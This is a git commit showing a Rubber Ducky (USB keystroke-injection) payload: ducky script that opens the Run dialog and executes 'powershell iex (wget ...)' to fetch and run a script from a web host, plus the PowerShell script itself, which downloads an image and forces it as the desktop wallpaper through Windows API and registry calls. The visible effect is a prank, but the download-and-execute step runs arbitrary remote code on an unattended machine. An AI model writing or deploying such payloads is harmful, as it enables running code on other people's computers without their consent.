Reformattet text

This commit is contained in:
Keld Norman 2016-07-25 14:21:23 +02:00
parent c3b0ba9ff0
commit e00f28c11d
1 changed files with 45 additions and 1 deletions

View File

@ -1,58 +1,102 @@
Write this code to your Rubber Ducky payload file using the encoder, the wget is an alias that exist in powershell already:
---------------------------------------------------------------------
GUI r
DELAY 50
STRING powershell iex (wget http://your-website.com/powershellscript.ps)
ENTER
The Powershell script on your webserver (http://your-website.com/powershellscript.ps):
---------------------------------------------------------------------
(new-object System.Net.WebClient).DownloadFile('http://your-website.com/mylittlepony.jpg',"$Env:Temp\b.jpg");
Add-Type @"
using System;
using System.Runtime.InteropServices;
using Microsoft.Win32;
namespace Wallpaper
{
public enum Style : int
{
Tile, Center, Stretch, NoChange
}
public class Setter {
public const int SetDesktopWallpaper = 20;
public const int UpdateIniFile = 0x01;
public const int SendWinIniChange = 0x02;
[DllImport("user32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern int SystemParametersInfo (int uAction, int uParam, string lpvParam, int fuWinIni);
public static void SetWallpaper ( string path, Wallpaper.Style style ) {
SystemParametersInfo( SetDesktopWallpaper, 0, path, UpdateIniFile | SendWinIniChange );
RegistryKey key = Registry.CurrentUser.OpenSubKey("Control Panel\\Desktop", true);
switch( style )
{
case Style.Stretch :
key.SetValue(@"WallpaperStyle", "2") ;
key.SetValue(@"TileWallpaper", "0") ;
break;
case Style.Center :
key.SetValue(@"WallpaperStyle", "1") ;
key.SetValue(@"TileWallpaper", "0") ;
break;
case Style.Tile :
key.SetValue(@"WallpaperStyle", "1") ;
key.SetValue(@"TileWallpaper", "1") ;
break;
case Style.NoChange :
break;
}
key.Close();
}
}
}
"@
[Wallpaper.Setter]::SetWallpaper("$Env:Temp\b.jpg" , 2 )
--DONT INCLUDE THIS LINE ---------------------------------------------
--DO NOT INCLUDE THIS LINE ---------------------------------------------
That should do it :)
Regards Keld Norman@DK